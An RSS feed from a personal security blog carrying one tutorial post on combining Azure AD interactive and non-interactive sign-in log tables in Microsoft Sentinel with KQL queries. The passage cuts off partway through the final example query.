<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Michael Thelen</title><link>https://isroot.nl/</link><description>Recent content on Michael Thelen</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><managingEditor>hello@isroot.nl (Michael Thelen)</managingEditor><webMaster>hello@isroot.nl (Michael Thelen)</webMaster><copyright>Copyright © 2018-2023, Michael Thelen. All rights reserved.</copyright><lastBuildDate>Wed, 23 Mar 2022 00:00:00 +0100</lastBuildDate><atom:link href="https://isroot.nl/index.xml" rel="self" type="application/rss+xml"/><item><title>Parsing Interactive and Non-Interactive Sign-In Logs with Microsoft Sentinel</title><link>https://isroot.nl/2022/03/23/parsing-interactive-and-non-interactive-sign-in-logs-with-microsoft-sentinel/</link><pubDate>Wed, 23 Mar 2022 00:00:00 +0100</pubDate><author>hello@isroot.nl (Michael Thelen)</author><guid>https://isroot.nl/2022/03/23/parsing-interactive-and-non-interactive-sign-in-logs-with-microsoft-sentinel/</guid><description>&lt;p>Microsoft Azure Active Directory differentiates between different sign-in types when a user authenticates. For example: Azure Active Directory differentiates between an &lt;strong>&amp;ldquo;interactive&amp;rdquo;&lt;/strong> sign-in request and a &lt;strong>&amp;ldquo;non-interactive&amp;rdquo;&lt;/strong> sign-in request when a user logs in.&lt;/p>
&lt;p>An &lt;strong>&amp;ldquo;interactive sign-in request&amp;rdquo;&lt;/strong> happens when user authenticates with a username and password and optionally a multi-factor authentication token. Another way of saying this is that an interactive sign-in happens if a user logs in by using a keyboard &lt;strong>&amp;ldquo;interactively&amp;rdquo;&lt;/strong>.&lt;/p>
&lt;p>A &lt;strong>&amp;ldquo;non-interactive sign-in request&amp;rdquo;&lt;/strong> happens when a user authenticates with a saved or cached credential from a previously authenticated session. For example: a browser session that was previously authenticated interactively and is now authenticated because of the cached credential. In this case the user is already authenticated and does not have to provide a username and password interactively.&lt;/p>
&lt;p>When you connect Azure Active Directory sign-in logs to Microsoft Sentinel with the &lt;strong>&amp;ldquo;Azure Active Directory Sentinel connector&amp;rdquo;&lt;/strong> the interactive sign-in logs and non-interactive sign-in logs are stored in different tables. For interactive sign-ins this table is called &lt;strong>&amp;ldquo;SigninLogs&amp;rdquo;&lt;/strong> and for non-interactive sign-ins this table is called the &lt;strong>&amp;ldquo;AADNonInteractiveUserSignInLogs&amp;rdquo;&lt;/strong> table.&lt;/p>
&lt;p>&lt;img src="01.png" alt="&amp;ldquo;Microsoft Sentinel Sign-In Tables&amp;rdquo;">&lt;/p>
&lt;h2 id="why-is-this-important">Why is this Important?&lt;/h2>
&lt;p>Knowing that Azure Active Directory differentiates between sign-in types and that Microsoft Sentinel stores the sign-in logs in different tables is important when investigating sign-in related incidents from products like &lt;strong>&amp;ldquo;Azure Active Directory Identity Protection&amp;rdquo;&lt;/strong> because any one table does not tell the whole story. Querying both tables individually and comparing the results gives a more complete picture but can become annoying rather quickly if tasked with investigating large amounts of incidents on a daily basis.&lt;/p>
&lt;h3 id="querying-the-signinlogs-table">Querying the SigninLogs Table&lt;/h3>
&lt;p>For example you can query the &lt;strong>&amp;ldquo;SigninLogs&amp;rdquo;&lt;/strong> table with the following KQL query which by default will give you the sign-in events of the last 24 hours. On line two we sort the results by &lt;strong>&amp;ldquo;TimeGenerated&amp;rdquo;&lt;/strong> in descending order.&lt;/p>
&lt;div class="highlight">&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;">&lt;tr>&lt;td style="vertical-align:top;padding:0;margin:0;border:0;">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-SQL" data-lang="SQL">&lt;span style="display:flex;">&lt;span>SigninLogs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">|&lt;/span> sort &lt;span style="color:#66d9ef">by&lt;/span> TimeGenerated &lt;span style="color:#66d9ef">desc&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>The output will look something like the screenshot below. The results are cumbersome to navigate and are almost impossible to investigate or analyze quickly.&lt;/p>
&lt;p>&lt;img src="02.png" alt="&amp;ldquo;Querying the Sign-In Logs Table&amp;rdquo;">&lt;/p>
&lt;h3 id="querying-the-aadnoninteractiveusersigninlogs-table">Querying the AADNonInteractiveUserSignInLogs Table&lt;/h3>
&lt;p>Alternatively you can query the &lt;strong>&amp;ldquo;AADNonInteractiveUserSignInLogs&amp;rdquo;&lt;/strong> table in the same way with the following KQL query.&lt;/p>
&lt;div class="highlight">&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;">&lt;tr>&lt;td style="vertical-align:top;padding:0;margin:0;border:0;">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-SQL" data-lang="SQL">&lt;span style="display:flex;">&lt;span>AADNonInteractiveUserSignInLogs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">|&lt;/span> sort &lt;span style="color:#66d9ef">by&lt;/span> TimeGenerated &lt;span style="color:#66d9ef">desc&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>The new query will overwrite your old results if ran from the same tab. On top of that the output of this query is equally cumbersome to navigate, investigate and analyze. While you are able to open multiple tabs to run multiple queries and compare results there is an easier way.&lt;/p>
&lt;p>&lt;img src="03.png" alt="&amp;ldquo;Querying the Non-Interactive Sign-In Logs Table&amp;rdquo;">&lt;/p>
&lt;h2 id="querying-both-tables-in-microsoft-sentinel">Querying both Tables in Microsoft Sentinel&lt;/h2>
&lt;p>Querying both tables at the same time gives a more complete picture of the sign-in history and is easy with KQL by using the &lt;strong>&amp;ldquo;union&amp;rdquo;&lt;/strong> operator. While still cumbersome to navigate, investigate and analyze the union operator does combine the results of both tables together in a single output.&lt;/p>
&lt;div class="highlight">&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;">&lt;tr>&lt;td style="vertical-align:top;padding:0;margin:0;border:0;">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-SQL" data-lang="SQL">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">union&lt;/span> SigninLogs, AADNonInteractiveUserSignInLogs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">|&lt;/span> sort &lt;span style="color:#66d9ef">by&lt;/span> TimeGenerated &lt;span style="color:#66d9ef">desc&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>As you can see the union operator joined both tables together and the results for both are displayed in the same output. You can distinguish which result comes from what table by looking at the &lt;strong>&amp;ldquo;Category&amp;rdquo;&lt;/strong> column.&lt;/p>
&lt;p>&lt;img src="04.png" alt="&amp;ldquo;Querying both Tables with the Union Operator&amp;rdquo;">&lt;/p>
&lt;h2 id="projecting-useful-columns">Projecting Useful Columns&lt;/h2>
&lt;p>Now we know how to combine both tables but the current output is still not very friendly to navigate, investigate or analyze. With the &lt;strong>&amp;ldquo;project&amp;rdquo;&lt;/strong> operator in the following KQL query we can select the columns we want to see and display some useful information to make navigation, investigation and analysis more pleasant.&lt;/p>
&lt;div class="highlight">&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;">&lt;tr>&lt;td style="vertical-align:top;padding:0;margin:0;border:0;">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-SQL" data-lang="SQL">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">union&lt;/span> SigninLogs, AADNonInteractiveUserSignInLogs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">|&lt;/span> project TimeGenerated, UserPrincipalName, IsInteractive, ResultType, IPAddress, &lt;span style="color:#66d9ef">Location&lt;/span>, AppDisplayName, ClientAppUsed, UserAgent
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">|&lt;/span> sort &lt;span style="color:#66d9ef">by&lt;/span> TimeGenerated &lt;span style="color:#66d9ef">desc&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>With the query above we can quickly see if the sign-in is interactive or not, see the &lt;strong>&amp;ldquo;ResultType&amp;rdquo;&lt;/strong> of the sign-in, in this case 0 which is successful. We can also see the &lt;strong>&amp;ldquo;IP address&amp;rdquo;&lt;/strong> used to sign-in as wel as the &lt;strong>&amp;ldquo;location&amp;rdquo;&lt;/strong> the user logged in from and &lt;strong>&amp;ldquo;application&amp;rdquo;&lt;/strong> that the user logged into.&lt;/p>
&lt;p>&lt;img src="05.png" alt="&amp;ldquo;Projecting Useful Columns&amp;rdquo;">&lt;/p>
&lt;h2 id="projecting-additional-columns">Projecting Additional Columns&lt;/h2>
&lt;p>Both the SigninLogs and AADNonInteractiveUserSignInLogs table have columns with additional information that can be beneficial while investigating or analyzing sign-in related incidents. The &lt;strong>&amp;ldquo;DeviceDetail&amp;rdquo;&lt;/strong> column for example: holds information about the &lt;strong>&amp;ldquo;deviceId&amp;rdquo;&lt;/strong>, &lt;strong>&amp;ldquo;operating system&amp;rdquo;&lt;/strong> and &lt;strong>&amp;ldquo;browser&amp;rdquo;&lt;/strong>.&lt;/p>
&lt;p>With the KQL query below we will query the &lt;strong>&amp;ldquo;SigninLogs&amp;rdquo;&lt;/strong> table and parse the &lt;strong>&amp;ldquo;DeviceDetail&amp;rdquo;&lt;/strong> column with the &lt;strong>&amp;ldquo;extend&amp;rdquo;&lt;/strong> operator. We then &lt;strong>&amp;ldquo;project&amp;rdquo;&lt;/strong> some useful information from this column such as the Operating System and Browser used when the sign-in took place.&lt;/p>
&lt;div class="highlight">&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;">&lt;tr>&lt;td style="vertical-align:top;padding:0;margin:0;border:0;">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-SQL" data-lang="SQL">&lt;span style="display:flex;">&lt;span>SigninLogs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">|&lt;/span> extend DeviceDetail
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">|&lt;/span> project TimeGenerated, UserPrincipalName, IsInteractive, DeviceDetail.operatingSystem, DeviceDetail.browser
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">|&lt;/span> sort &lt;span style="color:#66d9ef">by&lt;/span> TimeGenerated &lt;span style="color:#66d9ef">desc&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&lt;img src="06.png" alt="&amp;ldquo;Projecting SigninLogs DeviceDetails&amp;rdquo;">&lt;/p>
&lt;p>However when we try to perform the same query while joining the tables together with the &lt;strong>&amp;ldquo;union&amp;rdquo;&lt;/strong> operator we get the following error.&lt;/p>
&lt;div class="highlight">&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;">&lt;tr>&lt;td style="vertical-align:top;padding:0;margin:0;border:0;">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-SQL" data-lang="SQL">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">union&lt;/span> SigninLogs, AADNonInteractiveUserSignInLogs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">|&lt;/span> extend DeviceDetail
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">|&lt;/span> project TimeGenerated, UserPrincipalName, IsInteractive, DeviceDetail.operatingSystem, DeviceDetail.browser
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">|&lt;/span> sort &lt;span style="color:#66d9ef">by&lt;/span> TimeGenerated &lt;span style="color:#66d9ef">desc&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&lt;img src="07.png" alt="&amp;ldquo;Projecting the DeviceDetails of both Tables with the Union Operator&amp;rdquo;">&lt;/p>
&lt;h2 id="querying-additional-columns-from-both-tables">Querying Additional Columns from both Tables&lt;/h2>
&lt;p>When we look at the KQL code, specifically line two where we extend the DeviceDetail column there seems to be an error. Looking at code completion for the &lt;strong>&amp;ldquo;DeviceDetail&amp;rdquo;&lt;/strong> column it becomes clear why. Both tables store the data in the &lt;strong>&amp;ldquo;DeviceDetail&amp;rdquo;&lt;/strong> column in a different way. Looking at the documentation of the &lt;a href="https://docs.microsoft.com/en-us/azure/azure-monitor/reference/tables/signinlogs">SigninLogs table&lt;/a> the data in the DeviceDetail column is stored as a &lt;strong>&amp;ldquo;dynamic type&amp;rdquo;&lt;/strong> while the &lt;a href="https://docs.microsoft.com/en-us/azure/azure-monitor/reference/tables/AADNonInteractiveUserSignInLogs">AADNonInteractiveUserSignInLogs table&lt;/a> stores the data in the DeviceDetail column as a &lt;strong>&amp;ldquo;string type&amp;rdquo;&lt;/strong>.&lt;/p>
&lt;p>&lt;img src="08.png" alt="&amp;ldquo;Querying the DeviceDetails of both Tables with the Union Operator Dynamic vs Static&amp;rdquo;">&lt;/p>
&lt;h2 id="projecting-both-devicedetail-columns-with-iff">Projecting both DeviceDetail Columns with Iff&lt;/h2>
&lt;p>Now we known that both columns store the data in a different format and we can not join both tables together with a the &lt;strong>&amp;ldquo;union&amp;rdquo;&lt;/strong> operator if we do not handle this. To handle columns with a different data type in the same KQL query the &lt;strong>&amp;ldquo;iff&amp;rdquo;&lt;/strong> function can be used.&lt;/p>
&lt;p>In the query below we will leverage the &lt;strong>&amp;ldquo;iff&amp;rdquo;&lt;/strong> function to evaluate if the &lt;strong>&amp;ldquo;DeviceDetail_dynamic&amp;rdquo;&lt;/strong> column is empty or not with a &lt;strong>&amp;ldquo;true&amp;rdquo;&lt;/strong> or &lt;strong>&amp;ldquo;false&amp;rdquo;&lt;/strong> statement. If the column is not empty the statement will evaluate as &lt;strong>&amp;ldquo;false&amp;rdquo;&lt;/strong> and the column exists. If however, the column is empty and does not exist it evaluates as &lt;strong>&amp;ldquo;true&amp;rdquo;&lt;/strong> and the query will parse the &lt;strong>&amp;ldquo;DeviceDetail_static&amp;rdquo;&lt;/strong> column instead.&lt;/p>
&lt;div class="highlight">&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;">&lt;tr>&lt;td style="vertical-align:top;padding:0;margin:0;border:0;">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-SQL" data-lang="SQL">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">union&lt;/span> SigninLogs, AADNonInteractiveUserSignInLogs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">|&lt;/span> extend DeviceDetail &lt;span style="color:#f92672">=&lt;/span> iff(isempty(DeviceDetail_dynamic) &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#66d9ef">true&lt;/span>, parse_json(DeviceDetail_string), DeviceDetail_dynamic)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">|&lt;/span> project TimeGenerated, UserPrincipalName, IsInteractive, DeviceDetail.operatingSystem, DeviceDetail.browser
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">|&lt;/span> sort &lt;span style="color:#66d9ef">by&lt;/span> TimeGenerated &lt;span style="color:#66d9ef">desc&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>As can be seen in the screenshot below the &lt;strong>&amp;ldquo;DeviceDetail&amp;rdquo;&lt;/strong> column is parsed for both tables and displays the Operating System and Browser used when the sign-in took place.&lt;/p>
&lt;p>&lt;img src="09.png" alt="&amp;ldquo;Projecting the DeviceDetails of both Tables with the Union Operator with Iff&amp;rdquo;">&lt;/p>
&lt;h2 id="completing-the-query-to-do-something-useful">Completing the Query to do Something Useful&lt;/h2>
&lt;p>Now that we know how to handle the &lt;strong>&amp;ldquo;DeviceDetail&amp;rdquo;&lt;/strong> column with different data types we can make a more optimized and useful query. In the following query we will join both tables together with the &lt;strong>&amp;ldquo;union&amp;rdquo;&lt;/strong> operator and parse several columns with useful information to aid in investigation and analysis. The columns used in this query are:&lt;/p>
&lt;ul>
&lt;li>DeviceDetail&lt;/li>
&lt;li>LocationDetails&lt;/li>
&lt;li>MfaDetail&lt;/li>
&lt;/ul>
&lt;p>On top of adding useful information from the above columns we will add two variables &lt;strong>&amp;ldquo;upn&amp;rdquo;&lt;/strong> to target the sign-in logs of a single user account and &lt;strong>&amp;ldquo;timeAgo&amp;rdquo;&lt;/strong> which is set to query the sign-in logs of the past seven days. The code is commented for convenience.&lt;/p>
&lt;div class="highlight">&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;">&lt;tr>&lt;td style="vertical-align:top;padding:0;margin:0;border:0;">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-SQL" data-lang="SQL">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">//&lt;/span> Define the &lt;span style="color:#66d9ef">variable&lt;/span> &lt;span style="color:#66d9ef">for&lt;/span> the UserPrincipalName &lt;span style="color:#66d9ef">of&lt;/span> the &lt;span style="color:#66d9ef">user&lt;/span> account &lt;span style="color:#66d9ef">to&lt;/span> investigate
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>let upn &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;user@example.com&amp;#34;&lt;/span>; &lt;span style="color:#f92672">//&lt;/span> The UserPrincipalName &lt;span style="color:#66d9ef">of&lt;/span> the &lt;span style="color:#66d9ef">user&lt;/span> account. Example: &lt;span style="color:#66d9ef">user&lt;/span>&lt;span style="color:#f92672">@&lt;/span>example.com
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">//&lt;/span> Define the &lt;span style="color:#66d9ef">variable&lt;/span> &lt;span style="color:#66d9ef">for&lt;/span> the timespan
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>let timeAgo &lt;span style="color:#f92672">=&lt;/span> ago(&lt;span style="color:#ae81ff">7&lt;/span>d); &lt;span style="color:#f92672">//&lt;/span> The time &lt;span style="color:#66d9ef">to&lt;/span> look back. Example: &lt;span style="color:#ae81ff">7&lt;/span>d, &lt;span style="color:#ae81ff">7&lt;/span>h
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">//&lt;/span> &lt;span style="color:#66d9ef">Join&lt;/span> &lt;span style="color:#66d9ef">both&lt;/span> tables together &lt;span style="color:#66d9ef">with&lt;/span> the &lt;span style="color:#66d9ef">union&lt;/span> &lt;span style="color:#66d9ef">operator&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">union&lt;/span> SigninLogs, AADNonInteractiveUserSignInLogs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">|&lt;/span> &lt;span style="color:#66d9ef">where&lt;/span> TimeGenerated &lt;span style="color:#f92672">&amp;gt;&lt;/span> timeAgo
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">|&lt;/span> &lt;span style="color:#66d9ef">where&lt;/span> OperationName &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#e6db74">&amp;#34;Sign-in activity&amp;#34;&lt;/span> &lt;span style="color:#f92672">//&lt;/span> Filter &lt;span style="color:#66d9ef">on&lt;/span> Sign&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#66d9ef">in&lt;/span> activities
